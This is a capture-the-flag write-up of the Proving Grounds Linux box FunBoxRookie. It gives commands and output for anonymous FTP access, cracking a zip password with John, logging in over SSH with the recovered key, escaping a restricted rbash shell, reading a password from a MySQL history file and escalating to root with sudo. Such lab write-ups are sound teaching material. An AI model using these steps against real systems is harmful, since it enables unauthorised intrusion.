# FunBoxRookie Writeup - Proving Grounds

> Easy Linux box with an anonymous FTP server holding a password-protected zip, cracked to recover an SSH key for tom. After escaping a restricted rbash shell, a MySQL history file leaks tom's password, and unrestricted sudo gives root.

- **URL:** https://hackindex.io/writeups/funboxrookie
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** ftp, anonymous-access, hash-cracking, information-disclosure, sudo-misconfiguration, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

FunBoxRookie exposes an anonymous FTP server holding a password-protected zip per user. Cracking tom's archive yields an SSH private key that logs in to a restricted `rbash` shell. After escaping the shell, a MySQL history file leaks tom's password, and the account has unrestricted sudo for root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE
# 21/tcp open  ftp
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# |   anna.zip  ariel.zip  bud.zip  homer.zip  john.zip  marge.zip  tom.zip  zlatan.zip
# 22/tcp open  ssh
# 80/tcp open  http
# |_http-title: Apache2 Ubuntu Default Page: It works
```

FTP allows anonymous login and lists a zip archive for each user. Only `tom.zip` is useful. Pull it down.

## Exploitation

### Anonymous FTP and zip cracking

Log in anonymously and download the archive.

```bash
ftp $TARGET_IP
# 220 ProFTPD 1.3.5e Server (Debian)
# Name: anonymous
# 230 Anonymous access granted, restrictions apply
# ftp> get tom.zip
# 226 Transfer complete
```

The archive is password-protected. Convert it with `zip2john` and crack it with John.

```bash
zip2john tom.zip > tom.hash
john --wordlist=/usr/share/wordlists/rockyou.txt tom.hash
# $TOM_ZIP_PASSWORD   (tom.zip/id_rsa)
# 1g 0:00:00:00 DONE
```

Unlock the archive with the recovered password to extract an SSH private key for `tom`.

```bash
unzip -P <password> tom.zip
ssh -o StrictHostKeyChecking=no -i id_rsa tom@$TARGET_IP
# tom@funbox2:~$ id
# uid=1000(tom) gid=1000(tom) groups=1000(tom),27(sudo),108(lxd)
# tom@funbox2:~$ cd ..
# -rbash: cd: restricted
```

The login drops into a restricted `rbash` shell. Escape it by reconnecting and forcing a non-profile bash.

```bash
ssh -i id_rsa tom@$TARGET_IP -t "bash --noprofile"
# tom@funbox2:~$ cd ..
# tom@funbox2:/home$
```

With a full shell, enumerate tom's home directory and read the MySQL history file.

## Privilege Escalation

### Credentials in shell history

The `.mysql_history` file contains an insert statement with a plaintext value.

```bash
cat ~/.mysql_history
# _HiStOrY_V2_
# show\040databases;
# use\040support
# insert\040into\040support\040(tom,\040$TOM_PASSWORD);
# quit
```

The string next to `tom` is his password. Check the sudo rights with it.

```bash
sudo -l
# User tom may run the following commands on funbox2:
#     (ALL : ALL) ALL
```

`tom` may run any command as root.

```bash
sudo su
# tom@funbox2:~$ sudo su
# root@funbox2:/home/tom# id
# uid=0(root) gid=0(root) groups=0(root)
```

Unrestricted sudo gives a root shell.

Related